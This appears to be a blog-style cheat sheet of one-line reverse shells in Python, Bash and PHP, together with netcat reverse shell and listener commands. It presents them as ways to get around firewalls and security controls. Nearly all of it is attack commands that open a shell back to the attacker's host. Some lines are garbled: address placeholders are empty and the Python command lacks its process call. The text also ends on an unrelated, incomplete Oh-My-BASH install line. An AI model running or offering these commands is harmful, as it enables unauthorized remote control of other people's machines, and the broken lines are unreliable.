Jeet Kune Crypto: One Line Reverse Shells with Scripting Languages

Reverse shells are extremely useful for subverting firewalls or other security mechanisms that may block new opened ports. Often you’ll find hosts already have several scripting languages installed. We’re going to take advantage of the some of the most popular of those languages, to spawn a reverse shell.

In these scenarios, your listening IP is and your listening port is 1234.

Python Reverse Shell:

This python one line reverse shell is kind of a trip. Trust me, nobody expects you to remember this one, off of the top of your head.

python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

BASH Reverse Shell:

This one is simple. Everyone expects you to remember something like this, off of the top of your head.

bash -i >& /dev/tcp/ 0>&1

PHP Reverse Shell:

From terminal:

php -r '$sock=fsockopen("",1234);exec("/bin/sh" -i <&3 >&3 2>&3");'

Jeet Kune Crypto: netcat (reverse shells)

Jeet Kune Crypto: netcat (reverse shells)

One of the most useful TCP/IP tools, for network and systems engineers, is netcat. Netcat is commonly referred to as the “TCP/IP Swiss Army Knife”. It is often flagged as malware or a “potentially unwanted program” by anti-malware software.

While traditional backdoors wait for you to connect (which netcat can also do). Here are a few ways that you can use it as a “reverse shell”, or a backdoor that connects back to you:

Versions that support "-e":
nc -e "/bin/sh" <target> <target port>
nc -e "cmd.exe" <target> <target port>

If the version of netcat that you’re using does not support “-e”, you’ll want to create a network socket out of a file. You can “hack” up a network socket on linux, like so:

mkfifo /tmp/socket;cat /tmp/socket|/bin/sh -i 2>&1|nc <target> <target port> > /tmp/socket

If you’re using netcat to listen for the incoming connection, you’d prepare to receive this type of connection like so:

nc <host> <port>
or for a range of ports
nc <host> <starting port>-<ending port>

If you’ve heard about Oh-My-ZSH before, Oh-My-BASH is a similar project for the Bourne Again Shell.


Here’s a one-liner to install Oh-My-BASH:
